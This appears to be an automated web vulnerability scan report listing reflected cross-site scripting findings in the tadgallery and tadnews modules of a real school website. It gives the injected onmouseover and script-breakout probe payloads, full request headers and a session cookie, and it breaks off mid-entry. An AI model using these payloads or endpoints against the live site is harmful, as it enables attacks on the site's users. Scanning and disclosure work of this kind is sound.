User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_mode was set to flat"onmouseover=vJkz(9648)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?
com_mode=flat"onmouseover=vJkz(9648)"&com_order=0&com_refresh=&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_mode was set to flat"onmouseover=TumZ(9039)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?
com_mode=flat"onmouseover=TumZ(9039)"&com_order=0&com_refresh=&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_order was set to 0"onmouseover=vJkz(9384)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0"onmouseover=vJkz(9384)"&com_refresh=&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_order was set to 0"onmouseover=TumZ(9145)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0"onmouseover=TumZ(9145)"&com_refresh=&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_refresh was set to com_refresh="onmouseover=vJkz(9721)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0&com_refresh="onmouseover=vJkz(9721)"&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input com_refresh was set to 1"onmouseover=TumZ(9693)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0&com_refresh=1"onmouseover=TumZ(9693)"&sn=9 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=bFi9(9055)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?nsn=1"onmouseover=bFi9(9055)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input op was set to good"onmouseover=b3yY(9558)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?op=good"onmouseover=b3yY(9558)"&sn= HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=bFi9(9893)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?nsn=&op=delete_tad_news"onmouseover=bFi9(9893)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input sn was set to 9"onmouseover=Xya6(9873)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?sn=9"onmouseover=Xya6(9873)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input sn was set to 9"onmouseover=vJkz(9650)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0&com_refresh=&sn=9"onmouseover=vJkz(9650)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadgallery/view.php
Verified vulnerability

Details

URL encoded GET input sn was set to 9"onmouseover=TumZ(9085)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadgallery/view.php?
com_mode=flat&com_order=0&com_refresh=&sn=9"onmouseover=TumZ(9085)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/
Details

URI was set to "onmouseover='Wkn2(9936)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/?"onmouseover='Wkn2(9936)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/archive.php
Details

URI was set to ;9574'();}]9306 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tadnews/archive.php/%3B%39%35%37%34%27%28%29%3B%7D%5D%39%33%30%36 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/archive.php
Verified vulnerability

Details

URL encoded GET input date was set to 1"onmouseover=YTQ3(9430)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/archive.php?date=1"onmouseover=YTQ3(9430)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/archive.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=VVsQ(9826)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/archive.php?nsn=1"onmouseover=VVsQ(9826)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/archive.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=VVsQ(9282)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/archive.php?nsn=&op=delete_tad_news"onmouseover=VVsQ(9282)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Details

URI was set to ;9800'();}]9025 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tadnews/index.php/%3B%39%38%30%30%27%28%29%3B%7D%5D%39%30%32%35 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input amp;ncsn was set to 1"onmouseover=cHk4(9001)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tadnews/index.php?amp;ncsn=1"onmouseover=cHk4(9001)"&g2p=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input amp;tag_sn was set to 1"onmouseover=MRoS(9191)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tadnews/index.php?amp;tag_sn=1"onmouseover=MRoS(9191)"&g2p=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tadnews/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=jJPo(9186)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



